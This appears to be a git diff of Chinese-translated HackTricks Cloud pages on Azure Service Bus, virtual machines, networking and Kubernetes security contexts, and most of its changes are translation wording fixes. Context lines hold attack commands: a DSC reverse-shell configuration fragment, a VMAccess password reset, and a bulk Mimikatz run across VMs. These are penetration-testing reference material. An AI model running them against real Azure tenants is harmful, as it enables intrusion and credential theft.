Get-Command -Module Az.ServiceBus
@@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceNa
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
### 权限提升
@@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
## 参考文献
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
- [https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0](https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview)
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -20,12 +20,12 @@ Azure 虚拟机 (VMs) 是灵活的、按需的 **基于云的服务器,允许
- **安全类型**
- **标准安全**:这是默认的安全类型,不需要任何特定配置。
- **受信任启动**:此安全类型通过使用安全启动和虚拟受信任平台模块 (vTPM) 增强对启动工具和内核级恶意软件的保护。
- **机密虚拟机**:在受信任启动的基础上,提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离改善磁盘加密和 [**更多**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
- **机密虚拟机**:在受信任启动的基础上,提供 VM、虚拟机监控程序和主机管理之间的基于硬件的隔离改善磁盘加密和 [**更多**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**。**
- **身份验证**:默认情况下会生成一个新的 **SSH 密钥**,虽然可以使用公钥或使用先前的密钥,默认用户名为 **azureuser**。也可以配置为使用 **密码。**
- **VM 磁盘加密:** 磁盘默认情况下使用平台管理密钥进行静态加密。
- 还可以启用 **主机加密**,数据将在发送到存储服务之前在主机上加密,确保主机与存储服务之间的端到端加密 ([**文档**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data))。
- **NIC 网络安全组**
- **无**:基本上打开所有端口
- **无**:基本上打开每个端口
- **基本**:允许轻松打开入站端口 HTTP (80)、HTTPS (443)、SSH (22)、RDP (3389)
- **高级**:选择一个安全组
- **备份**:可以启用 **标准** 备份(每天一次)和 **增强**(每天多次)
@@ -76,8 +76,8 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## 图像、图库图像和还原点
一个 **VM 镜像** 是一个模板,包含创建 **新虚拟机 (VM)** 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\
图像可以在 Azure 的 **图像部分****Azure 计算库** 中管理,后者允许生成 **版本** **跨租户共享** 图像,甚至使其公开。
一个 **VM 镜像** 是一个模板,包含创建新虚拟机 (VM) 所需的操作系统、应用程序设置和文件系统。镜像和磁盘快照之间的区别在于,磁盘快照是单个托管磁盘的只读、时间点副本,主要用于备份或故障排除,而镜像可以包含 **多个磁盘,并旨在作为创建新 VM 的模板**。\
图像可以在 Azure 的 **图像部分****Azure 计算库** 中管理,后者允许生成 **版本** **共享** 图像,跨租户共享甚至公开。
一个 **还原点** 存储 VM 配置和 **时间点** 应用程序一致的 **所有托管磁盘的快照**。它与 VM 相关,其目的是能够将该 VM 恢复到特定时间点的状态。
@@ -144,13 +144,13 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
## Azure Site Recovery
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来帮助确保业务连续性。站点恢复**复制工作负载**,将其从主站点转移到次要位置。当主站点发生停机时,您可以切换到次要位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
来自[**文档**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview):站点恢复通过在停机期间保持业务应用程序和工作负载的运行来帮助确保业务连续性。站点恢复**复制工作负载**,将其从主站点转移到辅助位置。当主站点发生停机时,您可以切换到辅助位置,并从那里访问应用程序。主位置恢复后,您可以切换回去。
## Azure Bastion
Azure Bastion 通过 Azure 门户或跳转箱直接为您的虚拟机 (VM) 提供安全无缝的**远程桌面协议 (RDP)**和**安全外壳 (SSH)**访问。通过**消除对公共 IP 地址的需求**,使您的 VM 更加安全。
Bastion 在其需要工作的 VNet 中部署一个名为**`AzureBastionSubnet`**的子网,子网掩码为`/26`。然后,它允许通过浏览器**连接到内部 VM**,使用`RDP``SSH`,避免将 VM 的端口暴露到互联网。它还可以作为**跳转主机**。
Bastion 在其需要工作的 VNet 中部署一个名为**`AzureBastionSubnet`**的子网,子网掩码为`/26`。然后,它允许通过浏览器**连接到内部 VM**,使用`RDP``SSH`,避免将 VM 的端口暴露到互联网。它还可以作为**跳转主机**工作
要列出您订阅中的所有 Azure Bastion 主机并通过它们连接到 VM您可以使用以下命令
@@ -189,7 +189,7 @@ Get-AzBastion
## 元数据
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。
Azure 实例元数据服务 (IMDS) **提供有关正在运行的虚拟机实例的信息**,以协助其管理和配置。它提供 SKU、存储、网络配置以及即将进行的维护事件的信息所有这些信息通过 **可在非路由 IP 地址 169.254.169.254 访问的 REST API** 提供,该地址仅可从 VM 内部访问。VM 和 IMDS 之间的通信保持在主机内部,确保安全访问。在查询 IMDS 时VM 内部的 HTTP 客户端应绕过 Web 代理以确保正确通信。
此外要联系元数据端点HTTP 请求必须具有 **`Metadata: true`** 头,并且不得具有 **`X-Forwarded-For`** 头。
@@ -200,6 +200,9 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
{{#endref}}
## VM 枚举
{{#tabs}}
{{#tab name="az cli"}}
```bash
# VMs
## List all VMs and get info about one
@@ -335,7 +338,9 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
# List all available run commands for virtual machines
az vm run-command list --output table
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```bash
# Get readable VMs
Get-AzVM | fl
@@ -427,11 +432,14 @@ Get-AzStorageAccount
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
```
## 代码执行在虚拟机中
{{#endtab }}
{{#endtabs }}
## 在虚拟机中执行代码
### 虚拟机扩展
Azure 虚拟机扩展是小型应用程序,提供 **部署后配置** 和自动化任务在 Azure 虚拟机 (VMs) 上。
Azure 虚拟机扩展是提供 **部署后配置** 和自动化任务的小型应用程序,运行在 Azure 虚拟机 (VM) 上。
这将允许 **在虚拟机内部执行任意代码**
@@ -539,7 +547,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>VMAccess 扩展</summary>
此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在创建)。
此扩展允许修改 Windows 虚拟机内用户的密码(如果不存在创建)。
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -551,7 +559,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
这是一个属于微软的 **VM 扩展**,使用 PowerShell DSC 来管理 Azure Windows 虚拟机的配置。因此,可以通过此扩展在 Windows 虚拟机中 **执行任意命令**
这是一个属于微软的**VM扩展**使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此可以通过此扩展在Windows虚拟机中**执行任意命令**
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -625,7 +633,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
查看如何安装新应用程序在 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> 可以**与其他订阅或租户共享单个应用程序和画廊**。这非常有趣,因为这可能允许攻击者在应用程序中植入后门并转向其他订阅和租户。
> 可以**与其他订阅或租户共享单个应用程序和画廊**。这非常有趣,因为这可能允许攻击者在应用程序中植入后门并转向其他订阅和租户。
但是**没有像扩展那样的虚拟机应用程序“市场”**。
@@ -796,7 +804,7 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}
## 后期利用
## 利用
{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md

View File

@@ -49,14 +49,14 @@ Select-Object Name, AddressPrefix
## 网络安全组 (NSG)
一个 **网络安全组 (NSG)** 过滤 Azure 虚拟网络 (VNet) 中 Azure 资源的网络流量。它包含一组 **安全规则**,可以指示 **哪些端口可以用于入站和出站流量**通过源端口、源 IP、目标端口并且可以分配优先级优先级数字越低优先级越高
一个 **网络安全组 (NSG)** 过滤 Azure 虚拟网络 (VNet) 中 Azure 资源的网络流量。它包含一组 **安全规则**,可以指示 **哪些端口应为入站和出站流量开放**根据源端口、源 IP、目标端口并且可以分配优先级优先级数字越低优先级越高
NSG 可以与 **子网和网络接口卡 (NIC)** 关联。
**规则示例:**
- 一个入站规则,允许来自任何源的 HTTP 流量(端口 80web 服务器。
- 一个出站规则,仅允许 SQL 流量(端口 1433到特定目标 IP 地址范围。
- 一个允许来自任何源的 HTTP 流量(端口 80Web 服务器的入站规则
- 一个仅允许 SQL 流量(端口 1433到特定目标 IP 地址范围的出站规则
### 枚举
@@ -91,19 +91,20 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Azure Firewall 是 Azure 中的 **托管网络安全服务**,通过检查和控制流量来保护云资源。它是一个 **有状态防火墙**,根据第 3 层到第 7 层的规则过滤流量,支持 **在 Azure 内部**(东西向流量)和 **与外部网络之间**(南北向流量)的通信。部署在 **虚拟网络 (VNet) 级别**,为 VNet 中的所有子网提供集中保护。Azure Firewall 自动扩展以应对流量需求,并确保高可用性,无需手动设置。
Azure Firewall 是 Azure 中的一个 **托管网络安全服务**,通过检查和控制流量来保护云资源。它是一个 **有状态防火墙**,根据第 3 层到第 7 层的规则过滤流量,支持 **在 Azure 内部**(东西向流量)和 **与外部网络之间**(南北向流量)的通信。部署在 **虚拟网络 (VNet) 级别**,为 VNet 中的所有子网提供集中保护。Azure Firewall 自动扩展以应对流量需求,并确保高可用性,无需手动设置。
它提供三种 SKU——**基本版**、**标准版**和 **高级版**,每种版本都针对特定客户需求进行了定制:
| **推荐使用案例** | 具有有限需求的小型/中型企业 (SMBs) | 一般企业使用,第 3 层至第 7 层过滤 | 高度敏感的环境(例如,支付处理) |
| ------------------------------ | ----------------------------------- | ---------------------------------- | --------------------------------- |
| **性能** | 高达 250 Mbps 吞吐量 | 高达 30 Gbps 吞吐量 | 高达 100 Gbps 吞吐量 |
| **威胁情报** | 仅警报 | 警报和阻止(恶意 IP/域名) | 警报和阻止(高级威胁情报) |
| **L3L7 过滤** | 基本过滤 | 跨协议的有状态过滤 | 具有高级检查的有状态过滤 |
| **高级威胁保护** | 不可用 | 基于威胁情报的过滤 | 包括入侵检测和防御系统 (IDPS) |
| **TLS 检查** | 不可用 | 不可用 | 支持入站/出站 TLS 终止 |
| **可用性** | 固定后端2 个虚拟机) | 自动扩展 | 自动扩展 |
| **管理简易** | 基本控制 | 通过防火墙管理器管理 | 通过防火墙管理器管理 |
| Criteria/Feature | Option 1 | Option 2 | Option 3 |
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
| **推荐使用案例** | 需求有限的小型/中型企业 (SMBs) | 一般企业使用,层 37 过滤 | 高度敏感的环境(例如,支付处理) |
| **性能** | 高达 250 Mbps 吞吐量 | 高达 30 Gbps 吞吐量 | 高达 100 Gbps 吞吐量 |
| **威胁情报** | 仅警报 | 警报和阻止(恶意 IP/域名) | 警报和阻止(高级威胁情报) |
| **L3L7 过滤** | 基本过滤 | 跨协议的有状态过滤 | 具有高级检查的有状态过滤 |
| **高级威胁保护** | 不可用 | 基于威胁情报的过滤 | 包括入侵检测和防御系统 (IDPS) |
| **TLS 检查** | 不可用 | 不可用 | 支持入站/出站 TLS 终止 |
| **可用** | 固定后端 (2 个虚拟机) | 自动扩展 | 自动扩展 |
| **管理简易性** | 基本控制 | 通过防火墙管理器进行管理 | 通过防火墙管理器进行管理 |
### Enumeration
@@ -171,7 +172,7 @@ Get-AzRouteTable
## Azure Private Link
Azure Private Link 是 Azure 中的一项服务,**通过确保您 Azure 虚拟网络 (VNet) 与服务之间的流量完全在 Microsoft 的 Azure 主干网络内传输,从而实现对 Azure 服务的私有访问**。它有效地将服务引入您的 VNet。此设置通过不将数据暴露于公共互联网来增强安全性。
Azure Private Link 是 Azure 中的一项服务,**通过确保您 Azure 虚拟网络 (VNet) 与服务之间的流量完全在 Microsoft 的 Azure 主干网络内传输,从而实现对 Azure 服务的私有访问**。它有效地将服务引入您的 VNet。此设置通过不将数据暴露于公共互联网来增强安全性。
Private Link 可以与各种 Azure 服务一起使用,如 Azure Storage、Azure SQL Database 和通过 Private Link 共享的自定义服务。它提供了一种安全的方式,从您自己的 VNet 或甚至不同的 Azure 订阅中使用服务。
@@ -264,7 +265,7 @@ Microsoft 推荐在 [**docs**](https://learn.microsoft.com/en-us/azure/virtual-n
**Azure Front Door** 是一个可扩展且安全的入口点,用于 **快速交付** 您的全球 web 应用程序。它 **结合** 了全球 **负载均衡、站点加速、SSL 卸载和 Web 应用防火墙 (WAF)** 功能于一体。Azure Front Door 提供基于 **离用户最近的边缘位置** 的智能路由,确保最佳性能和可靠性。此外,它还提供基于 URL 的路由、多站点托管、会话亲和性和应用层安全性。
**Azure Front Door WAF** 旨在 **保护 web 应用程序免受基于 web 的攻击**无需修改后端代码。它包括自定义规则和管理规则集,以防范 SQL 注入、跨站脚本和其他常见攻击等威胁。
**Azure Front Door WAF** 旨在 **保护 web 应用程序免受基于 web 的攻击**,无需修改后端代码。它包括自定义规则和管理规则集,以防范 SQL 注入、跨站脚本和其他常见攻击等威胁。
**示例:**
@@ -324,7 +325,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**VNet Peering** 是 Azure 中的一项网络功能,**允许不同的虚拟网络 (VNets) 直接无缝连接**。通过 VNet 对等连接,一个 VNet 中的资源可以使用私有 IP 地址与另一个 VNet 中的资源进行通信,**就像它们在同一网络中一样**。\
**VNet 对等连接还可以与本地网络一起使用**,通过设置站点到站点的 VPN 或 Azure ExpressRoute。
**Azure Hub 和 Spoke** 是在 Azure 中用于管理和组织网络流量的网络拓扑。**“中心”是一个控制和路由不同“辐射”之间流量的中心点**。中心通常包含共享服务,如网络虚拟设备 (NVA)、Azure VPN 网关、Azure 防火墙或 Azure Bastion。**“辐射”是承载工作负载并通过 VNet 对等连接到中心的 VNets**,使它们能够利用中心内的共享服务。该模型促进了清晰的网络布局,通过集中多个 VNet 可以使用的公共服务来减少复杂性。
**Azure Hub 和 Spoke** 是在 Azure 中用于管理和组织网络流量的网络拓扑。**“中心”是一个控制和路由不同“辐射”流量的中心点**。中心通常包含共享服务,如网络虚拟设备 (NVA)、Azure VPN 网关、Azure 防火墙或 Azure Bastion。**“辐射”是承载工作负载并通过 VNet 对等连接到中心的 VNets**,使它们能够利用中心内的共享服务。该模型促进了清晰的网络布局,通过集中多个 VNet 可以使用的公共服务来减少复杂性。
> [!CAUTION] > **在 Azure 中VNET 对等连接是非传递的**,这意味着如果辐射 1 连接到辐射 2辐射 2 连接到辐射 3则辐射 1 不能直接与辐射 3 通信。
@@ -367,7 +368,7 @@ Get-AzFirewall
**示例:**
一家总部位于纽约的企业拥有一个本地数据中心,需要安全地连接到其在 Azure 中托管虚拟化工作负载的 VNet。通过设置 **Site-to-Site VPN公司可以确保本地服务器与 Azure 虚拟机之间的加密连接**,使得资源可以在两个环境中安全访问,就像它们在同一本地网络中一样。
一家总部位于纽约的企业拥有一个本地数据中心,需要安全地连接到其在 Azure 中托管虚拟化工作负载的 VNet。通过设置 **Site-to-Site VPN公司可以确保本地服务器与 Azure 虚拟机之间的加密连接**,使得资源可以在两个环境中安全访问,就像它们在同一本地网络中一样。
### **Enumeration**

View File

@@ -13,16 +13,17 @@
- 如果可能,考虑 **限制** **权限**,指明 **seLinuxOptions****seccompProfile**
- **不要** 通过 **runAsGroup****supplementaryGroups** 提供 **特权** **组** 访问
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>整数</em></p> | <p>适用于<strong>所有容器的特殊补充组</strong>。某些卷类型允许 Kubelet <strong>更改该卷的所有权</strong>,使其归 Pod 所有:<br>1. 拥有的 GID 将是 FSGroup<br>2. 设置 setgid 位(在卷中创建的新文件将由 FSGroup 拥有)<br>3. 权限位与 rw-rw---- 进行 OR 运算。如果未设置Kubelet 将不会修改任何卷的所有权和权限</p> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>字符串</em></p> | 这定义了在 Pod 内部暴露之前 **更改卷的所有权和权限** 的行为。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>整数</em></p> | **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>布尔值</em></p> | 表示容器必须以非根用户身份运行。如果为 trueKubelet 将在运行时验证映像,以确保其不以 UID 0身份运行如果是则无法启动容器。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>整数</em></p> | **运行容器进程的入口点的 UID**。如果未指定,则默认为映像元数据中指定的用户。 |
| 参数 | 描述 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroup</strong></a><br><em>integer</em></p> | <p>适用于<strong>所有容器的特殊补充组</strong>。某些卷类型允许 Kubelet <strong>更改该卷的所有权</strong>,使其归 Pod 所有:<br>1. 拥有的 GID 将是 FSGroup<br>2. 设置 setgid 位(在卷中创建的新文件将由 FSGroup 拥有)<br>3. 权限位与 rw-rw---- 进行 OR 运算。如果未设置Kubelet 将不会修改任何卷的所有权和权限</p> |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>fsGroupChangePolicy</strong></a><br><em>string</em></p> | 这定义了在 Pod 内部暴露之前 **更改卷的所有权和权限** 的行为。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | 表示容器必须以非根用户身份运行。如果为 trueKubelet 将在运行时验证映像,以确保它不以 UID 0身份运行如果是则无法启动容器。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **运行容器进程的入口点的 UID**。如果未指定,则默认为映像元数据中指定的用户。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>有关</em> <em><strong>seLinux</strong></em> 的更多信息</p> | **应用于所有容器的 SELinux 上下文**。如果未指定,容器运行时将为每个容器分配一个随机的 SELinux 上下文。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a><br><em>有关</em> <em><strong>Seccomp</strong></em> 的更多信息</p> | 此 Pod 中容器使用的 **seccomp 选项**。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>整数数组</em></p> | 除了容器的主要 GID 之外,**应用于每个容器中运行的第一个进程的组** 列表。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>数组</em><br><em>有关</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls 持有 **用于 Pod 的命名空间 sysctls 列表**。具有不受支持的 sysctls由容器运行时可能会导致启动失败。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>supplementalGroups</strong></a><br><em>integer array</em></p> | 除了容器的主要 GID 之外,**应用于每个容器中运行的第一个进程的组** 列表。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>sysctls</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#sysctl-v1-core"><em>Sysctl</em></a> <em>array</em><br><em>有关</em> <a href="https://www.garron.me/en/go2linux/sysctl-linux.html"><em><strong>sysctls</strong></em></a></p> | Sysctls 持有 **用于 Pod 的命名空间 sysctls 列表**。具有不受支持的 sysctls由容器运行时可能会导致 Pod 启动失败。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#podsecuritycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | 应用于所有容器的 Windows 特定设置。如果未指定,将使用容器的 SecurityContext 中的选项。 |
## SecurityContext
@@ -41,15 +42,15 @@
请注意,在 **SecurityContext 和 PodSecurityContext** 中设置的属性,**SecurityContext** 中指定的值具有 **优先权**
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>布尔值</em></p> | **AllowPrivilegeEscalation** 控制进程是否可以 **获得比其父进程更多的**。此布尔值直接控制是否将在容器进程上设置 no_new_privs 标志。当容器以 **Privileged** 身份运行或具有 **CAP_SYS_ADMIN**AllowPrivilegeEscalation 始终为 true |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>allowPrivilegeEscalation</strong></a><br><em>boolean</em></p> | **AllowPrivilegeEscalation** 控制进程是否可以 **获得比其父进程更多的权**。此布尔值直接控制是否将在容器进程上设置 no_new_privs 标志。当容器以 **Privileged** 身份运行或具有 **CAP_SYS_ADMIN**AllowPrivilegeEscalation 始终为 true |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>有关</em> <em><strong>Capabilities</strong></em> 的更多信息</p> | **运行容器时添加/删除的能力**。默认为默认的能力集。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>布尔值</em></p> | 以特权模式运行容器。特权容器中的进程基本上 **等同于主机上的 root**。默认为 false。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>字符串</em></p> | procMount 表示 **用于容器的 proc 挂载类型**。默认值为 DefaultProcMount它使用容器运行时的只读路径和屏蔽路径的默认值。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>布尔值</em></p> | 此 **容器是否具有只读根文件系统**。默认值为 false。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>整数</em></p> | **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>布尔值</em></p> | 表示容器必须 **以非根用户身份运行**。如果为 trueKubelet 将在运行时验证映像,以确保不以 UID 0身份运行如果是则无法启动容器。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>整数</em></p> | **运行容器进程的入口点的 UID**。如果未指定,则默认为映像元数据中指定的用户。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>capabilities</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#capabilities-v1-core"><em>Capabilities</em></a><br><em>有关</em> <em><strong>Capabilities</strong></em> 的更多信息</p> | **运行容器时添加/删除的能力**。默认为默认的能力集。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | 以特权模式运行容器。特权容器中的进程基本上主机上的 **root 等效**。默认为 false。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount 表示 **用于容器的 proc 挂载类型**。默认值为 DefaultProcMount它使用容器运行时的只读路径和屏蔽路径的默认值。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | 此 **容器是否具有只读根文件系统**。默认值为 false。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **运行容器进程的入口点的 GID**。如果未设置,则使用运行时默认值。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | 表示容器必须 **以非根用户身份运行**。如果为 trueKubelet 将在运行时验证映像,以确保不以 UID 0身份运行如果是则无法启动容器。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **运行容器进程的入口点的 UID**。如果未指定,则默认为映像元数据中指定的用户。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>有关</em> <em><strong>seLinux</strong></em> 的更多信息</p> | **应用于容器的 SELinux 上下文**。如果未指定,容器运行时将为每个容器分配一个随机的 SELinux 上下文。 |
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | 此容器使用的 **seccomp 选项**。 |
